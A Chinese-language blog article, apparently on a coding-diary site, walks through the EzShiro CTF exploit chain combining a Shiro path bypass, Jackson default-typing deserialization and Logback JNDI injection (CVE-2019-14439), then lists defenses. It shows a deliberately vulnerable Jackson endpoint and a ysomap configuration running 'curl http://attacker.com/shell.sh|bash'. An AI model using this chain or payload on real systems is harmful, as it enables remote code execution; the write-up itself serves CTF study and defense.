三亩地 三亩地SAN MU DI · CODE DIARY
ARTICLE DETAIL

日记详情

真实记录编程学习的某一天,欢迎挑你感兴趣的翻一翻。

别再只盯着Shiro-550/721了:聊聊Logback JNDI注入(CVE-2019-14439)在CTF和实战中的新花样

别再只盯着Shiro-550/721了:聊聊Logback JNDI注入(CVE-2019-14439)在CTF和实战中的新花样

从Logback JNDI注入到混合漏洞链:CTF与实战中的高阶利用艺术

当安全研究员们还在反复咀嚼Shiro-550/721这类"经典菜品"时,一场更精致的漏洞盛宴正在暗流涌动。在2020年NPUCTF的EzShiro赛题中,命题人巧妙地将Shiro权限绕过、Jackson反序列化、Logback JNDI注入以及CommonsCollections链组合成了一道"融合料理",这不禁让人思考:单一漏洞的利用是否已经沦为"基础题"?

1. 漏洞链的化学效应:当Logback遇上Shiro

JNDI注入从来不是新鲜事,但CVE-2019-14439的特殊之处在于它发生在日志组件Logback的核心模块中。与常规的JNDI注入不同,这个漏洞需要先通过其他漏洞打开入口:

// 典型触发代码示例 public class VulnerableService { @PostMapping("/json") public String processJson(@RequestBody String input) { ObjectMapper mapper = new ObjectMapper(); mapper.enableDefaultTyping(); // 致命配置 return mapper.readValue(input, Object.class).toString(); } }

在EzShiro场景中,攻击者需要先完成以下步骤:

  1. Shiro权限绕过:利用/;/json这样的路径规范化差异突破认证
  2. Jackson反序列化:通过精心构造的JSON触发类型动态加载
  3. Logback JNDI触发:最终通过JNDIConnectionSource实现远程代码执行

注意:实际环境中,这三个漏洞可能分布在完全不同的组件层,这种"跨组件协作"正是现代漏洞利用的新趋势。

2. 高版本JDK下的生存法则

随着JDK 11+的普及,传统的JNDI利用方式遭遇严峻挑战。在复现EzShiro时,许多选手发现直接使用公开PoC无法成功,原因在于:

JDK版本JNDI限制绕过方案
≤8u191无限制直接LDAP引用
8u191-11禁止远程类加载本地ClassFactory利用
≥12默认禁用JNDI需要特定启动参数
# 高版本JDK下的替代方案示例 java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true \ -Dcom.sun.jndi.rmi.object.trustURLCodebase=true \ -jar vulnerable-app.jar

实战中更聪明的做法是利用应用自带的依赖链。EzShiro题目中提供的Commons Collections 3.2.1就是绝佳的"跳板",通过二次反序列化实现无外连的代码执行。

3. Ysomap实战:新一代漏洞利用框架

当传统工具链捉襟见肘时,像ysomap这样的新一代工具开始崭露头角。其模块化设计特别适合混合漏洞场景:

// ysomap配置示例(适配EzShiro场景) use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command 'curl http://attacker.com/shell.sh|bash' run

这个配置的精妙之处在于:

  • 利用LDAP监听器处理初始请求
  • 通过CC8链触发本地类加载
  • 最终实现无外连依赖的命令执行

提示:实际CTF比赛中,内存马注入可能是更隐蔽的选择,尤其当遇到网络隔离环境时。

4. 企业级防御:从漏洞狩猎到链路阻断

对于企业安全团队来说,防御这类混合攻击需要立体化策略:

开发阶段预防

  • 强制所有JSON解析禁用defaultTyping
  • 日志组件隔离在独立ClassLoader中
  • 实施严格的依赖版本管控

运行时防护

# 示例:Spring Boot安全配置 security: shiro: filter-chain-definitions: /json = authcBasic jackson: default-typing: DENY

监控与响应

  1. 建立JNDI操作审计日志
  2. 监控非常规的ClassLoader行为
  3. 分析异常的序列化流量模式

在真实业务系统中,往往需要面对更复杂的条件——可能Shiro用的是最新版,但某个边缘服务还在用老旧的Logback 1.2.1。这种"部分修复"的状态反而可能创造最危险的攻击面。

5. CTF命题艺术:构建有教学意义的漏洞链

EzShiro之所以成为经典赛题,在于它完美呈现了现代Web应用的典型架构缺陷。优秀的CTF漏洞链设计应该考虑:

  • 层次递进:从信息收集到最终利用形成完整路径
  • 技术多元:融合不同类型漏洞(如逻辑漏洞+反序列化)
  • 版本适配:反映真实环境中的版本碎片化现状
  • 防御绕过:要求选手理解防御机制的工作原理

这类题目最大的价值不在于"解出",而在于让选手建立系统性的漏洞关联思维——当看到pom.xml中出现多个危险依赖时,能立即意识到它们可能产生的化学反应。

← 返回列表